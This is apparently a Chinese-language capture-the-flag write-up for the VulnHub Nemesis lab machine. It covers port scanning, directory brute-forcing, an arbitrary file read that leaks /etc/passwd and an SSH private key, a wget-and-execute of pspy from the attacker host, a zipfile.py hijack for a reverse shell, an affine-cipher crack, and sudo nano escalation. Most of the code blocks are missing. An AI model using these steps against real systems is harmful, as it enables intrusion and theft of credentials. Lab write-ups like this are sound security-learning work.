靶机下载地址: https://www.vulnhub.com/entry/ia-nemesis-101,582/
教程链接地址: https://www.infosecarticles.com/nemesis-vulnhub-walkthrough/
# 确认攻击目标
攻击机 KALI: 192.168.0.135 (由于设置成了 DHCP、可能多变)
靶机 NEMESIS:桥接于 192.168.0.1 的网卡,ip 未知
1 )确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机 ip
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | uniq

2 )粗略的识别一下该 ip 上开放了哪些端口
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | xargs sudo nmap -PA

-> 靶机 ip:192.168.0.184 靶机开放端口 80
3 )对靶机开放的端口做更深一步的检索,检索各个服务上的详细信息

检索到的有效服务如下所示:
52846 ssh:可尝试 ssh 爆破与一些对应版本漏洞利用
80 52845 http:可对 web 进行渗透测试收集信息
# 目录扫描
打开 http://192.168.0.184/ 进行信息收集

到处看了看,发现有一个用户名和密码
Login Details => username : hacker_in_the_town password : thanos

找到登陆界面,用这个账户密码尝试登陆

登陆成功,但是进入到登陆后的界面,查询之后没有任何发现

用字典爆破目录,收集目录信息信息
gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory- list-2.3-medium.txt -u http://192.168.0.184/

依次访问几个目录发现没有比较明显的漏洞,换个字典,在爆破一波目录
gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirb/common.txt -u http://192.168.0.184/

爆出来的目录里边都没有什么发现,看一下下一个端口网站
打开 http://192.168.0.184:52845/ 进行信息收集

gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.0.184:52845

gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirb/common.txt -u http://192.168.0.184:52845/

目录都没有什么问题,看来只能对页面的功能点尝试了
# 任意文件读取
在如下界面中,找到一个发送信息的功能,输入了如下信息之后发现有回显

点击发送消息后,读取到了 passwd 文件,审查源代码进行规范化,我们拿到了有 shell 的三个用户分别为 root,carlos,thanos

既然能读取文件,不妨测试一下是否能读到私钥文件,通过私钥文件登陆靶机
依次读取这三个用户下的.ssh 文件夹下的 id_rsa 文件

root 下的没有读取到,可能是做了权限设置或者不存在私钥文件

thanos 下的读取到了,审查源代码处复制私钥到本地

最后把 carlos 下的私钥文件看看

这个用户下的私钥文件也没有读取到

# 特权用户计划任务
根据泄漏的私钥文件登陆到靶机中,注意修改私钥文件的权限
chmod 600 thanos_id_rsa
ssh thanos@192.168.31.47 -p 52846 -i ~/Desktop/vulnhub/nemesis/thanos_id_rsa

在靶机上看到了一个备份文件内容如下

上传 pspy 监控,看这个备份脚本有没有定期被执行
wget 192.168.0.168/pspy64s -q ;chmod +x pspy64s;./pspy64s

看到这个 UID=1000 的用户定期执行了 backup.py 这个脚本,而在前面收集到的 /etc/passwd 文件可知,UID=1000 的用户是 carlos

分析这个备份文件,可知它引入了 zipfile 这个包,而它会优先在同一目录下寻找 zipfile,当脚本将被执行时,它不会使用 zipfile 模块,而是会导入我们的恶意软件 zipfile.py,并且我们的反向 shell 也会被执行。
1 | 可在本地尝试此命令是否能反弹shell: |

# py 反弹 shell 优化
1 | 也可以不用借助bash直接用python来反弹shell,本地测试能否用在上靶机 |
# 仿射加密法解密
现在成功拿到了 carlos 用户,即 UID= 1000 用户的终端,看到一个加密脚本仿射加密法与单码加密法没什么不同,因为明文的每个字母分别只映射到一个密文字母。仿射密码的加密算法就是一个线性变换,即对任意的明文字符 x,对应的密文字符为 y=e (x)=ax+b (mod26),其中,a,b∈Z 26 ,且要求 gcd (a, 26 )= 1 , 函数 e (x) 称为仿射加密函数。

并且在此目录下找到了一个文件提示说密码为
The password format is “****FUN”
此脚本的作用就是将原密码加密后变成了 FAJSRWOXLAXDQZAWNDDVLSU 要两个 key 值,知道 FUN 经过加密后变成了 QZA,依此推断 key 的范围。关于更多放射密码可访问 https://en.wikipedia.org/wiki/Affine_cipher
1 | cat > 1.py << EOF |

得到 key 为( 89 , 65 )之后,编写解密文件,进行解密密码
1 | cat > 2.py << EOF |

得到的密码测试之后是属于 carlos 用户的密码

# sudo (nano) 提权
有了密码之后可以看到 carlos 用户权限设置

nano 的权限设置错误了
1 | 查看gtfobins找到了提权命令 |

-> 成功拿到了 root 权限